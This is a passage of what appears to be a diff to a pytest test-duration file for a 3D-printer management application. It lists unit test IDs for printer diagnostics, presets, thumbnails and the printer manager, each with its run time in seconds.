"unit/services/test_p2s_accessory_fans.py::TestPartialPartsFrames::test_a_full_frame_still_retracts_both": 0.0009559420868754387, + "unit/services/test_p2s_accessory_fans.py::TestPartialPartsFrames::test_a_partial_frame_can_still_reveal_a_fan": 0.0009626327082514763, + "unit/services/test_p2s_accessory_fans.py::TestPartialPartsFrames::test_a_partial_frame_still_applies_the_speed_it_carries": 0.0009607290849089622, + "unit/services/test_p2s_accessory_fans.py::TestPartialPartsFrames::test_an_empty_parts_list_changes_nothing": 0.0009581074118614197, + "unit/services/test_p2s_accessory_fans.py::TestPartialPartsFrames::test_partial_frame_does_not_retract_the_exhaust_fan": 0.0009557204321026802, + "unit/services/test_p2s_accessory_fans.py::TestPartialPartsFrames::test_partial_frame_does_not_retract_the_left_aux_fan": 0.0009900061413645744, + "unit/services/test_plate_detection.py::TestCalibrationStatus::test_get_calibration_status_no_opencv": 0.001512204296886921, + "unit/services/test_plate_detection.py::TestCalibrationStatus::test_is_plate_detection_available_false": 0.0014987895265221596, + "unit/services/test_plate_detection.py::TestCalibrationStatus::test_is_plate_detection_available_true": 0.0018500778824090958, + "unit/services/test_plate_detection.py::TestDeleteCalibration::test_delete_calibration_no_opencv": 0.001477489247918129, + "unit/services/test_plate_detection.py::TestPlateDetectionResult::test_result_needs_calibration": 0.0015043094754219055, + "unit/services/test_plate_detection.py::TestPlateDetectionResult::test_result_to_dict": 0.001984228380024433, + "unit/services/test_plate_detection.py::TestPlateDetectionResult::test_result_with_debug_image": 0.001491965726017952, + "unit/services/test_plate_detection.py::TestPlateDetector::test_detector_custom_roi": 0.0014822976663708687, + "unit/services/test_plate_detection.py::TestPlateDetector::test_detector_initialization": 0.0014863470569252968, + "unit/services/test_plate_detection.py::TestPlateDetector::test_detector_raises_without_opencv": 0.001530366949737072, + "unit/services/test_plate_thumbnail.py::TestInjectPlateThumbnails::test_idempotent_on_second_pass": 0.028661029413342476, + "unit/services/test_plate_thumbnail.py::TestInjectPlateThumbnails::test_injected_pngs_have_expected_dimensions": 0.029856148175895214, + "unit/services/test_plate_thumbnail.py::TestInjectPlateThumbnails::test_injected_thumbnail_is_shaded_not_flat": 0.034835643135011196, + "unit/services/test_plate_thumbnail.py::TestInjectPlateThumbnails::test_injects_both_sizes_when_thumbnail_missing": 0.21595911215990782, + "unit/services/test_plate_thumbnail.py::TestInjectPlateThumbnails::test_injects_for_every_missing_plate_in_multi_plate_3mf": 0.034158854745328426, + "unit/services/test_plate_thumbnail.py::TestInjectPlateThumbnails::test_returns_input_unchanged_when_all_plates_have_thumbnails": 0.002907239831984043, + "unit/services/test_plate_thumbnail.py::TestInjectPlateThumbnails::test_returns_input_when_no_model_file_in_3mf": 0.001242147758603096, + "unit/services/test_plate_thumbnail.py::TestInjectPlateThumbnails::test_returns_input_when_not_a_zip": 0.0013677235692739487, + "unit/services/test_plug_energy_history.py::TestFillDerivedEnergy::test_fills_today_and_yesterday_for_a_lifetime_only_plug": 0.1820182977244258, + "unit/services/test_plug_energy_history.py::TestFillDerivedEnergy::test_never_overwrites_what_the_device_reported": 0.1892243530601263, + "unit/services/test_plug_energy_history.py::TestFillDerivedEnergy::test_no_lifetime_counter_is_left_alone": 0.18186931684613228, + "unit/services/test_plug_energy_history.py::test_counter_reset_reports_nothing_rather_than_a_negative": 0.1806380171328783, + "unit/services/test_plug_energy_history.py::test_derives_today_and_yesterday_from_the_counter": 0.17978711612522602, + "unit/services/test_plug_energy_history.py::test_nothing_derivable_before_the_first_midnight": 0.17742612957954407, + "unit/services/test_plug_energy_history.py::test_snapshots_from_other_plugs_are_not_borrowed": 0.18043903447687626, + "unit/services/test_plug_energy_history.py::test_yesterday_is_none_until_two_midnights_have_passed": 0.17802731599658728, + "unit/services/test_preset_resolver.py::test_cloud_400_when_no_token_stored": 0.0013884427025914192, + "unit/services/test_preset_resolver.py::test_cloud_auth_error_returns_401": 0.0017557814717292786, + "unit/services/test_preset_resolver.py::test_cloud_blocks_user_without_cloud_auth": 0.0012919027358293533, + "unit/services/test_preset_resolver.py::test_cloud_falls_back_to_top_level_when_no_envelope": 0.0018893815577030182, + "unit/services/test_preset_resolver.py::test_cloud_pins_from_field_to_system[System]": 0.0017706183716654778, + "unit/services/test_preset_resolver.py::test_cloud_pins_from_field_to_system[User]": 0.0019794898107647896, + "unit/services/test_preset_resolver.py::test_cloud_pins_from_field_to_system[]": 0.001976665109395981, + "unit/services/test_preset_resolver.py::test_cloud_pins_from_field_to_system[system]": 0.001791766844689846, + "unit/services/test_preset_resolver.py::test_cloud_rewrites_type_field_for_cli[filament-filament-filament]": 0.00188539270311594, + "unit/services/test_preset_resolver.py::test_cloud_rewrites_type_field_for_cli[printer-None-machine]": 0.0020598219707608223, + "unit/services/test_preset_resolver.py::test_cloud_rewrites_type_field_for_cli[printer-machine-machine]": 0.0020410260185599327, + "unit/services/test_preset_resolver.py::test_cloud_rewrites_type_field_for_cli[printer-printer-machine]": 0.5283671384677291, + "unit/services/test_preset_resolver.py::test_cloud_rewrites_type_field_for_cli[process-None-process]": 0.0018690470606088638, + "unit/services/test_preset_resolver.py::test_cloud_rewrites_type_field_for_cli[process-print-process]": 0.002385832369327545, + "unit/services/test_preset_resolver.py::test_cloud_rewrites_type_field_for_cli[process-process-process]": 0.0018552178516983986, + "unit/services/test_preset_resolver.py::test_cloud_synthesises_from_field_when_missing": 0.0019285939633846283, + "unit/services/test_preset_resolver.py::test_cloud_unwraps_setting_envelope": 0.005769303999841213, + "unit/services/test_preset_resolver.py::test_local_rejects_non_integer_id": 0.0013718409463763237, + "unit/services/test_preset_resolver.py::test_local_rejects_wrong_preset_type": 0.0013405336067080498, + "unit/services/test_preset_resolver.py::test_local_returns_setting_blob": 0.0015566172078251839, + "unit/services/test_preset_resolver.py::test_orca_cloud_auth_error_returns_401": 0.0016060788184404373, + "unit/services/test_preset_resolver.py::test_orca_cloud_blocks_user_without_orca_cloud_auth": 0.001487908884882927, + "unit/services/test_preset_resolver.py::test_orca_cloud_not_found_returns_400": 0.001805964857339859, + "unit/services/test_preset_resolver.py::test_orca_cloud_unwraps_content": 0.0016176532953977585, + "unit/services/test_preset_resolver.py::test_resolve_preset_ref_dispatches_by_source": 0.0013761986047029495, + "unit/services/test_preset_resolver.py::test_standard_emits_correct_type_per_slot": 0.0010395972058176994, + "unit/services/test_preset_resolver.py::test_standard_emits_inherits_stub": 0.0013453327119350433, + "unit/services/test_preset_resolver.py::test_standard_rejects_unknown_slot": 0.000988103449344635, + "unit/services/test_print_cost_estimate.py::test_archive_without_stored_cost_uses_server_default": 0.0012218309566378593, + "unit/services/test_print_cost_estimate.py::test_library_estimate_uses_server_default_cost": 0.0013034036383032799, + "unit/services/test_print_cost_estimate.py::test_library_estimate_uses_server_spool_assignment_costs": 0.0016368580982089043, + "unit/services/test_print_cost_estimate.py::test_missing_server_metadata_does_not_fall_back_to_client_hint": 0.001203775405883789, + "unit/services/test_print_dispatch_context.py::test_a_print_we_did_not_dispatch_clears_the_previous_flag": 0.0008747195824980736, + "unit/services/test_print_dispatch_context.py::test_adopting_consumes_the_pending_flag": 0.0008711135014891624, + "unit/services/test_print_dispatch_context.py::test_clear_forgets_pending_and_active": 0.000888405367732048, + "unit/services/test_print_dispatch_context.py::test_pending_flag_only_counts_once_the_print_starts": 0.0008914908394217491, + "unit/services/test_print_dispatch_context.py::test_printers_do_not_share_flags": 0.0008731372654438019, + "unit/services/test_print_dispatch_context.py::test_unknown_printer_reports_no_injection": 0.000894526019692421, + "unit/services/test_printable_objects_plate.py::TestExtractPrintableObjectsPlateScope::test_no_plate_given_falls_back_to_the_first": 0.00102261733263731, + "unit/services/test_printable_objects_plate.py::TestExtractPrintableObjectsPlateScope::test_other_plate_of_the_same_file_resolves_independently": 0.0010568303987383842, + "unit/services/test_printable_objects_plate.py::TestExtractPrintableObjectsPlateScope::test_returns_only_the_requested_plates_objects": 0.0011706734076142311, + "unit/services/test_printable_objects_plate.py::TestExtractPrintableObjectsPlateScope::test_single_plate_export_keeps_its_own_index": 0.001004531979560852, + "unit/services/test_printable_objects_plate.py::TestExtractPrintableObjectsPlateScope::test_unknown_plate_falls_back_without_mixing_plates": 0.0010558096691966057, + "unit/services/test_printable_objects_plate.py::TestLoadObjectsFromArchiveWiring::test_unknown_plate_still_loads_the_first": 0.0012195874005556107, + "unit/services/test_printable_objects_plate.py::TestLoadObjectsFromArchiveWiring::test_uses_the_plate_bambuddy_dispatched": 0.0012976909056305885, + "unit/services/test_printable_objects_plate.py::TestLoadObjectsFromArchiveWiring::test_uses_the_plate_parsed_from_gcode_file": 0.001221206970512867, + "unit/services/test_printable_objects_plate.py::TestPeekPlateIndexMultiPlate::test_multi_plate_file_has_no_single_plate_index": 0.0011006016284227371, + "unit/services/test_printable_objects_plate.py::TestPeekPlateIndexMultiPlate::test_single_plate_file_still_reports_its_index": 0.00106704980134964, + "unit/services/test_printer_diagnostic.py::TestAuthRejectedReason::test_connected_printer_carries_no_reason": 0.00200764462351799, + "unit/services/test_printer_diagnostic.py::TestAuthRejectedReason::test_disconnected_without_refusal_stays_generic": 0.0020090853795409203, + "unit/services/test_printer_diagnostic.py::TestAuthRejectedReason::test_pre_add_probe_surfaces_reason": 0.0022483840584754944, + "unit/services/test_printer_diagnostic.py::TestAuthRejectedReason::test_recorded_refusal_surfaces_reason": 0.0022305920720100403, + "unit/services/test_printer_diagnostic.py::TestAuthRejectedReason::test_unknown_slug_falls_back_to_generic": 0.002188091166317463, + "unit/services/test_printer_diagnostic.py::TestExistingPrinter::test_a1_mini_uses_chamber_image_camera_port": 0.0019355379045009613, + "unit/services/test_printer_diagnostic.py::TestExistingPrinter::test_all_healthy": 0.00205879844725132, + "unit/services/test_printer_diagnostic.py::TestExistingPrinter::test_bridge_mode_warns_and_skips_subnet": 0.001863282173871994, + "unit/services/test_printer_diagnostic.py::TestExistingPrinter::test_developer_mode_off_is_a_problem": 0.0019224230200052261, + "unit/services/test_printer_diagnostic.py::TestExistingPrinter::test_developer_mode_skipped_when_disconnected": 0.0020991256460547447, + "unit/services/test_printer_diagnostic.py::TestExistingPrinter::test_different_subnet_warns": 0.001929749734699726, + "unit/services/test_printer_diagnostic.py::TestExistingPrinter::test_ftps_and_rtsps_only_warn": 0.0019631385803222656, + "unit/services/test_printer_diagnostic.py::TestExistingPrinter::test_mqtt_port_unreachable_is_a_problem": 0.0021375352516770363, + "unit/services/test_printer_diagnostic.py::TestExistingPrinter::test_network_mode_skipped_outside_docker": 0.0021251430734992027, + "unit/services/test_printer_diagnostic.py::TestExistingPrinter::test_open_port_that_cannot_negotiate_tls_says_so": 0.0021535074338316917, + "unit/services/test_printer_diagnostic.py::TestExistingPrinter::test_printer_publishing_fails_when_zero_reports_after_wait": 0.5030338549986482, + "unit/services/test_printer_diagnostic.py::TestExistingPrinter::test_printer_publishing_no_wait_returns_instantly_on_zero": 0.002041456289589405, + "unit/services/test_printer_diagnostic.py::TestExistingPrinter::test_printer_publishing_passes_when_reports_seen": 0.0021245134994387627, + "unit/services/test_printer_diagnostic.py::TestExistingPrinter::test_printer_publishing_skips_when_disconnected": 0.0025545665994286537, + "unit/services/test_printer_diagnostic.py::TestExistingPrinter::test_printer_publishing_skips_when_no_client": 0.0022346265614032745, + "unit/services/test_printer_diagnostic.py::TestExistingPrinter::test_rtsp_models_still_probe_rtsps_port": 0.003327556885778904, + "unit/services/test_printer_diagnostic.py::TestExternalStorageCheck::test_a_model_with_a_reachable_toggle_does_report_the_empty_slot": 0.0020307665690779686, + "unit/services/test_printer_diagnostic.py::TestExternalStorageCheck::test_a_p1_series_keeps_its_non_nagging_skip_with_no_card": 0.002227374352514744, + "unit/services/test_printer_diagnostic.py::TestExternalStorageCheck::test_a_print_of_a_file_already_on_the_printer_gets_its_own_reason": 0.0022725099697709084, + "unit/services/test_printer_diagnostic.py::TestExternalStorageCheck::test_a_probe_that_cannot_run_leaves_the_warning_in_place": 0.0022229962050914764, + "unit/services/test_printer_diagnostic.py::TestExternalStorageCheck::test_a_screen_started_print_whose_file_is_there_still_passes": 0.002054578624665737, + "unit/services/test_printer_diagnostic.py::TestExternalStorageCheck::test_an_empty_slot_outranks_the_internal_storage_warning": 0.0022324640303850174, + "unit/services/test_printer_diagnostic.py::TestExternalStorageCheck::test_an_external_storage_dispatch_still_passes": 0.002049872651696205, + "unit/services/test_printer_diagnostic.py::TestExternalStorageCheck::test_fails_when_store_to_sdcard_false": 0.0020065009593963623, + "unit/services/test_printer_diagnostic.py::TestExternalStorageCheck::test_fails_when_the_toggle_is_on_but_the_slot_is_empty": 0.00223347544670105, + "unit/services/test_printer_diagnostic.py::TestExternalStorageCheck::test_no_probe_when_the_file_service_is_not_answering": 0.0022200224921107292, + "unit/services/test_printer_diagnostic.py::TestExternalStorageCheck::test_p1s_still_passes_when_store_to_sdcard_true": 0.001992695964872837, + "unit/services/test_printer_diagnostic.py::TestExternalStorageCheck::test_passes_when_store_to_sdcard_true": 0.0022088801488280296, + "unit/services/test_printer_diagnostic.py::TestExternalStorageCheck::test_skips_on_a1_mini_no_external_storage_slot": 0.0019970228895545006, + "unit/services/test_printer_diagnostic.py::TestExternalStorageCheck::test_skips_on_a1_no_external_storage_slot": 0.0022112345322966576, + "unit/services/test_printer_diagnostic.py::TestExternalStorageCheck::test_skips_on_p1p_no_reachable_toggle": 0.0022307615727186203, + "unit/services/test_printer_diagnostic.py::TestExternalStorageCheck::test_skips_on_p1s_no_reachable_toggle": 0.0020207474008202553, + "unit/services/test_printer_diagnostic.py::TestExternalStorageCheck::test_skips_pre_add_flow": 0.002004525624215603, + "unit/services/test_printer_diagnostic.py::TestExternalStorageCheck::test_skips_when_disconnected": 0.0022241678088903427, + "unit/services/test_printer_diagnostic.py::TestExternalStorageCheck::test_skips_when_field_missing": 0.003555622883141041, + "unit/services/test_printer_diagnostic.py::TestExternalStorageCheck::test_still_fails_on_x1c_when_toggle_off": 0.002202036790549755, + "unit/services/test_printer_diagnostic.py::TestExternalStorageCheck::test_the_file_being_there_outranks_the_toggle": 0.002009817399084568, + "unit/services/test_printer_diagnostic.py::TestExternalStorageCheck::test_the_internal_storage_warning_yields_to_the_file_being_there": 0.002904030494391918, + "unit/services/test_printer_diagnostic.py::TestExternalStorageCheck::test_warns_when_the_printer_kept_the_print_internally": 0.002057807520031929, + "unit/services/test_printer_diagnostic.py::TestFtpsTlsProbe::test_completed_handshake_is_ok": 0.0020570559427142143, + "unit/services/test_printer_diagnostic.py::TestFtpsTlsProbe::test_handshake_failure_on_an_open_port_is_no_tls": 0.0015253396704792976, + "unit/services/test_printer_diagnostic.py::TestFtpsTlsProbe::test_probe_mirrors_the_model_tls_cap": 0.0024861302226781845, + "unit/services/test_printer_diagnostic.py::TestFtpsTlsProbe::test_refused_connection_is_closed": 0.0014826785773038864, + "unit/services/test_printer_diagnostic.py::TestFtpsTlsProbe::test_timeout_is_closed_not_no_tls": 0.0014866078272461891, + "unit/services/test_printer_diagnostic.py::TestPreAddFlow::test_bad_credentials_fail_mqtt_auth": 0.001981545239686966, + "unit/services/test_printer_diagnostic.py::TestPreAddFlow::test_good_credentials_pass_mqtt_auth": 0.002172713167965412, + "unit/services/test_printer_diagnostic.py::TestPreAddFlow::test_no_credentials_skips_mqtt_auth": 0.00198541022837162, + "unit/services/test_printer_diagnostic.py::TestSameSubnet::test_different_24": 0.0008829748257994652, + "unit/services/test_printer_diagnostic.py::TestSameSubnet::test_hostname_undeterminable": 0.0008775647729635239, + "unit/services/test_printer_diagnostic.py::TestSameSubnet::test_ipv6_undeterminable": 0.0011263610795140266, + "unit/services/test_printer_diagnostic.py::TestSameSubnet::test_same_24": 0.0009210454300045967, + "unit/services/test_printer_manager.py::TestAmsChangeCallback::test_ams_change_callback_is_triggered": 0.0013013901188969612, + "unit/services/test_printer_manager.py::TestAmsChangeCallback::test_ams_change_callback_receives_correct_data": 0.0010234080255031586, + "unit/services/test_printer_manager.py::TestDisplayTemperatures::test_chamber_dropped_on_models_without_one": 0.0009699584916234016, + "unit/services/test_printer_manager.py::TestDisplayTemperatures::test_chamber_kept_on_models_with_a_real_sensor": 0.0009923502802848816, + "unit/services/test_printer_manager.py::TestDisplayTemperatures::test_drops_heater_flags_and_private_bookkeeping": 0.0009799478575587273, + "unit/services/test_printer_manager.py::TestDisplayTemperatures::test_empty_and_none_are_empty": 0.000977642834186554, + "unit/services/test_printer_manager.py::TestDisplayTemperatures::test_keeps_the_readings_the_overlay_draws": 0.001002027653157711, + "unit/services/test_printer_manager.py::TestDisplayTemperatures::test_second_nozzle_is_included": 0.0009966474026441574, + "unit/services/test_printer_manager.py::TestDisplayTemperatures::test_unparseable_and_missing_values_are_skipped": 0.0010123783722519875, + "unit/services/test_printer_manager.py::TestDryingScreenOnly::test_other_models_are_not_screen_only[A1]": 0.0010191714391112328, + "unit/services/test_printer_manager.py::TestDryingScreenOnly::test_other_models_are_not_screen_only[H2D]": 0.00102191511541605, + "unit/services/test_printer_manager.py::TestDryingScreenOnly::test_other_models_are_not_screen_only[None]": 0.0010124091058969498, + "unit/services/test_printer_manager.py::TestDryingScreenOnly::test_other_models_are_not_screen_only[P2S]": 0.0010174866765737534, + "unit/services/test_printer_manager.py::TestDryingScreenOnly::test_other_models_are_not_screen_only[X1C]": 0.0010125068947672844, + "unit/services/test_printer_manager.py::TestDryingScreenOnly::test_screen_only_is_not_the_same_as_unsupported": 0.0009743962436914444, + "unit/services/test_printer_manager.py::TestDryingScreenOnly::test_screen_only_models_reject_remote_drying[ p1p ]": 0.0010235263034701347, + "unit/services/test_printer_manager.py::TestDryingScreenOnly::test_screen_only_models_reject_remote_drying[P1P]": 0.0012991465628147125, + "unit/services/test_printer_manager.py::TestDryingScreenOnly::test_screen_only_models_reject_remote_drying[P1S]": 0.001009504310786724, + "unit/services/test_printer_manager.py::TestDryingScreenOnly::test_screen_only_models_reject_remote_drying[p1s]": 0.0010427748784422874, + "unit/services/test_printer_manager.py::TestDryingTargetExposure::test_cached_target_wins_over_tray_fallback": 0.0030438946560025215, + "unit/services/test_printer_manager.py::TestDryingTargetExposure::test_cached_temp_survives_a_unit_whose_trays_disagree": 0.0031005721539258957, + "unit/services/test_printer_manager.py::TestDryingTargetExposure::test_fallback_survives_multiple_trays_of_one_type": 0.0031077545136213303, + "unit/services/test_printer_manager.py::TestDryingTargetExposure::test_falls_back_to_loaded_tray_filament_when_no_cache": 0.0031737694516777992, + "unit/services/test_printer_manager.py::TestDryingTargetExposure::test_no_fallback_when_loaded_trays_disagree": 0.005682609975337982, + "unit/services/test_printer_manager.py::TestDryingTargetExposure::test_returns_none_when_no_cache_and_empty_trays": 0.0030422424897551537, + "unit/services/test_printer_manager.py::TestDryingTargetExposure::test_targets_for_other_ams_id_dont_leak": 0.0032687950879335403, + "unit/services/test_printer_manager.py::TestDryingTargetExposure::test_uniform_unit_never_invents_a_temperature": 0.0031916918233036995, + "unit/services/test_printer_manager.py::TestGetDerivedStatusName::test_a1_idle_with_stg_cur_zero_returns_none": 0.0010665599256753922, + "unit/services/test_printer_manager.py::TestGetDerivedStatusName::test_a1_running_with_stg_cur_zero_returns_printing": 0.0010488452389836311, + "unit/services/test_printer_manager.py::TestGetDerivedStatusName::test_non_a1_idle_with_stg_cur_zero_returns_printing": 0.001058485358953476, + "unit/services/test_printer_manager.py::TestGetDerivedStatusName::test_stg_cur_255_returns_none": 0.0010763881728053093, + "unit/services/test_printer_manager.py::TestGetDerivedStatusName::test_stg_cur_negative_one_returns_none_when_idle": 0.0010496163740754128, + "unit/services/test_printer_manager.py::TestGetDerivedStatusName::test_stg_cur_zero_returns_printing": 0.0011915238574147224, + "unit/services/test_printer_manager.py::TestGetDerivedStatusName::test_valid_stage_returns_name": 0.0013975799083709717, + "unit/services/test_printer_manager.py::TestHasStgCurIdleBug::test_a1_models_return_true": 0.001008511520922184, + "unit/services/test_printer_manager.py::TestHasStgCurIdleBug::test_empty_model_returns_false": 0.0009893057867884636, + "unit/services/test_printer_manager.py::TestHasStgCurIdleBug::test_internal_codes_return_true": 0.0010000253096222878, + "unit/services/test_printer_manager.py::TestHasStgCurIdleBug::test_non_affected_models_return_false": 0.000990297645330429, + "unit/services/test_printer_manager.py::TestHasStgCurIdleBug::test_none_model_returns_false": 0.0009943954646587372, + "unit/services/test_printer_manager.py::TestHasStgCurIdleBug::test_p1_models_return_true": 0.0009809676557779312, + "unit/services/test_printer_manager.py::TestInitPrinterConnections::test_connects_all_active_printers": 0.002382434904575348, + "unit/services/test_printer_manager.py::TestInitPrinterConnections::test_handles_empty_printer_list": 0.0018058773130178452, + "unit/services/test_printer_manager.py::TestInitPrinterConnections::test_one_failing_printer_does_not_abort_the_rest": 0.0023332629352808, + "unit/services/test_printer_manager.py::TestIsBedSlinger::test_a1_internal_codes_recognised": 0.0009867092594504356, + "unit/services/test_printer_manager.py::TestIsBedSlinger::test_a1_series_is_bed_slinger": 0.0009911777451634407, + "unit/services/test_printer_manager.py::TestIsBedSlinger::test_bed_on_z_models_not_bed_slingers": 0.0009780032560229301, + "unit/services/test_printer_manager.py::TestIsBedSlinger::test_case_insensitive": 0.0009985016658902168, + "unit/services/test_printer_manager.py::TestIsBedSlinger::test_none_model_returns_false": 0.0009775934740900993, + "unit/services/test_printer_manager.py::TestParsePlateId::test_bambu_metadata_path": 0.000986066646873951, + "unit/services/test_printer_manager.py::TestParsePlateId::test_double_digit_plate": 0.0009834039956331253, + "unit/services/test_printer_manager.py::TestParsePlateId::test_empty_string": 0.0009805066511034966, + "unit/services/test_printer_manager.py::TestParsePlateId::test_none_input": 0.0009877001866698265, + "unit/services/test_printer_manager.py::TestParsePlateId::test_path_without_plate_segment": 0.0009699389338493347, + "unit/services/test_printer_manager.py::TestParsePlateId::test_plate_one": 0.0009765811264514923, + "unit/services/test_printer_manager.py::TestParsePlateId::test_similar_but_non_matching_names": 0.0011914223432540894, + "unit/services/test_printer_manager.py::TestParsePlateId::test_substring_match_still_extracts": 0.0008478676900267601, + "unit/services/test_printer_manager.py::TestPrinterManager::test_clear_current_print_user": 0.0009828424081206322, + "unit/services/test_printer_manager.py::TestPrinterManager::test_clear_current_print_user_no_error_for_unknown": 0.0011738399043679237, + "unit/services/test_printer_manager.py::TestPrinterManager::test_clear_logs_calls_client": 0.0014836117625236511, + "unit/services/test_printer_manager.py::TestPrinterManager::test_clear_logs_returns_false_for_unknown": 0.0009752186015248299, + "unit/services/test_printer_manager.py::TestPrinterManager::test_connect_printer_creates_client": 1.0027239238843322, + "unit/services/test_printer_manager.py::TestPrinterManager::test_connect_printer_disconnects_existing": 1.0044476641342044, + "unit/services/test_printer_manager.py::TestPrinterManager::test_connect_printer_returns_false_on_failure": 1.0036083003506064, + "unit/services/test_printer_manager.py::TestPrinterManager::test_disconnect_all_disconnects_all_clients": 0.0024458840489387512, + "unit/services/test_printer_manager.py::TestPrinterManager::test_disconnect_printer_handles_missing": 0.0009614406153559685, + "unit/services/test_printer_manager.py::TestPrinterManager::test_disconnect_printer_removes_client": 0.0018149614334106445, + "unit/services/test_printer_manager.py::TestPrinterManager::test_enable_logging_calls_client": 0.0012951074168086052, + "unit/services/test_printer_manager.py::TestPrinterManager::test_enable_logging_returns_false_for_unknown": 0.0009682448580861092, + "unit/services/test_printer_manager.py::TestPrinterManager::test_get_all_statuses_returns_all": 0.0013991231098771095, + "unit/services/test_printer_manager.py::TestPrinterManager::test_get_client_returns_client": 0.0014099329710006714, + "unit/services/test_printer_manager.py::TestPrinterManager::test_get_client_returns_none_for_unknown": 0.0013311048969626427, + "unit/services/test_printer_manager.py::TestPrinterManager::test_get_current_print_user_returns_none_for_unknown": 0.000987490639090538, + "unit/services/test_printer_manager.py::TestPrinterManager::test_get_current_print_user_returns_user": 0.0010079676285386086, + "unit/services/test_printer_manager.py::TestPrinterManager::test_get_logs_returns_empty_for_unknown": 0.0009857472032308578, + "unit/services/test_printer_manager.py::TestPrinterManager::test_get_logs_returns_logs": 0.0012936638668179512, + "unit/services/test_printer_manager.py::TestPrinterManager::test_get_status_returns_none_for_unknown": 0.0009546680375933647, + "unit/services/test_printer_manager.py::TestPrinterManager::test_get_status_returns_state": 0.0014687543734908104, + "unit/services/test_printer_manager.py::TestPrinterManager::test_init_callbacks_are_none": 0.000982683151960373, + "unit/services/test_printer_manager.py::TestPrinterManager::test_init_creates_empty_clients_dict": 0.0009730048477649689, + "unit/services/test_printer_manager.py::TestPrinterManager::test_init_loop_is_none": 0.0010287705808877945, + "unit/services/test_printer_manager.py::TestPrinterManager::test_is_connected_returns_false_for_unknown": 0.000988042913377285, + "unit/services/test_printer_manager.py::TestPrinterManager::test_is_connected_returns_true": 0.0012290645390748978, + "unit/services/test_printer_manager.py::TestPrinterManager::test_is_logging_enabled_returns_false_for_unknown": 0.0009613214060664177, + "unit/services/test_printer_manager.py::TestPrinterManager::test_is_logging_enabled_returns_status": 0.0011299876496195793, + "unit/services/test_printer_manager.py::TestPrinterManager::test_is_print_active_false_for_unknown_printer": 0.0009590676054358482, + "unit/services/test_printer_manager.py::TestPrinterManager::test_is_print_active_false_when_disconnected": 0.0012849587947130203, + "unit/services/test_printer_manager.py::TestPrinterManager::test_is_print_active_state_matrix[FAILED-False]": 0.0014081792905926704, + "unit/services/test_printer_manager.py::TestPrinterManager::test_is_print_active_state_matrix[FINISH-False]": 0.0013377275317907333, + "unit/services/test_printer_manager.py::TestPrinterManager::test_is_print_active_state_matrix[IDLE-False]": 0.0013497993350028992, + "unit/services/test_printer_manager.py::TestPrinterManager::test_is_print_active_state_matrix[PAUSE-True]": 0.0013376856222748756, + "unit/services/test_printer_manager.py::TestPrinterManager::test_is_print_active_state_matrix[PREPARE-True]": 0.0013542687520384789, + "unit/services/test_printer_manager.py::TestPrinterManager::test_is_print_active_state_matrix[RUNNING-True]": 0.0013513630256056786, + "unit/services/test_printer_manager.py::TestPrinterManager::test_is_print_active_state_matrix[SLICING-True]": 0.001551637426018715, + "unit/services/test_printer_manager.py::TestPrinterManager::test_is_print_active_state_matrix[unknown-False]": 0.001583167351782322, + "unit/services/test_printer_manager.py::TestPrinterManager::test_mark_printer_offline_handles_unknown": 0.0009584575891494751, + "unit/services/test_printer_manager.py::TestPrinterManager::test_mark_printer_offline_skips_already_offline": 0.0011467887088656425, + "unit/services/test_printer_manager.py::TestPrinterManager::test_mark_printer_offline_triggers_callback": 0.0014860248193144798, + "unit/services/test_printer_manager.py::TestPrinterManager::test_mark_printer_offline_updates_state": 0.0014144610613584518, + "unit/services/test_printer_manager.py::TestPrinterManager::test_multiple_printers_have_separate_users": 0.000986739993095398, + "unit/services/test_printer_manager.py::TestPrinterManager::test_request_status_update_calls_client": 0.001232941634953022, + "unit/services/test_printer_manager.py::TestPrinterManager::test_request_status_update_returns_false_for_unknown": 0.0009694360196590424, + "unit/services/test_printer_manager.py::TestPrinterManager::test_schedule_async_with_running_loop": 0.0026834607124328613, + "unit/services/test_printer_manager.py::TestPrinterManager::test_schedule_async_with_stopped_loop": 0.0011059446260333061, + "unit/services/test_printer_manager.py::TestPrinterManager::test_schedule_async_without_loop": 0.0009472854435443878, + "unit/services/test_printer_manager.py::TestPrinterManager::test_set_ams_change_callback": 0.0010770093649625778, + "unit/services/test_printer_manager.py::TestPrinterManager::test_set_current_print_user": 0.0012860698625445366, + "unit/services/test_printer_manager.py::TestPrinterManager::test_set_current_print_user_overwrites_existing": 0.000987289473414421, + "unit/services/test_printer_manager.py::TestPrinterManager::test_set_event_loop": 0.0010793618857860565, + "unit/services/test_printer_manager.py::TestPrinterManager::test_set_print_complete_callback": 0.0010645454749464989, + "unit/services/test_printer_manager.py::TestPrinterManager::test_set_print_start_callback": 0.0010711466893553734, + "unit/services/test_printer_manager.py::TestPrinterManager::test_set_status_change_callback": 0.0010844329372048378, + "unit/services/test_printer_manager.py::TestPrinterManager::test_start_print_calls_client": 0.0023847194388508797, + "unit/services/test_printer_manager.py::TestPrinterManager::test_start_print_logs_even_when_printer_unknown": 0.0011121844872832298, + "unit/services/test_printer_manager.py::TestPrinterManager::test_start_print_logs_print_command_with_caller": 0.0014758259057998657, + "unit/services/test_printer_manager.py::TestPrinterManager::test_start_print_returns_false_for_unknown": 0.0010587247088551521, + "unit/services/test_printer_manager.py::TestPrinterManager::test_stop_print_calls_client": 0.00123616773635149, + "unit/services/test_printer_manager.py::TestPrinterManager::test_stop_print_returns_false_for_unknown": 0.0009420160204172134, + "unit/services/test_printer_manager.py::TestPrinterManager::test_test_connection_disconnect_runs_off_loop": 0.40275953244417906, + "unit/services/test_printer_manager.py::TestPrinterManager::test_test_connection_failure": 0.4038257282227278, + "unit/services/test_printer_manager.py::TestPrinterManager::test_test_connection_polls_and_returns_early_on_connect": 0.5042353291064501, + "unit/services/test_printer_manager.py::TestPrinterManager::test_test_connection_success": 0.0020213397219777107, + "unit/services/test_printer_manager.py::TestPrinterManager::test_wait_for_cooldown_checks_both_nozzles": 0.001790294423699379, + "unit/services/test_printer_manager.py::TestPrinterManager::test_wait_for_cooldown_returns_false_for_unknown": 0.0012768730521202087, + "unit/services/test_printer_manager.py::TestPrinterManager::test_wait_for_cooldown_returns_false_on_disconnect": 0.0016024336218833923, + "unit/services/test_printer_manager.py::TestPrinterManager::test_wait_for_cooldown_returns_true_when_cool": 0.0016561243683099747, + "unit/services/test_printer_manager.py::TestPrinterStateToDict::test_a_switch_is_not_ready_until_every_ams_has_an_inlet": 0.002354283817112446, + "unit/services/test_printer_manager.py::TestPrinterStateToDict::test_ams_data_parsing": 0.003123585134744644, + "unit/services/test_printer_manager.py::TestPrinterStateToDict::test_ams_drying_fields_included": 0.00303458608686924, + "unit/services/test_printer_manager.py::TestPrinterStateToDict::test_ams_ht_detection": 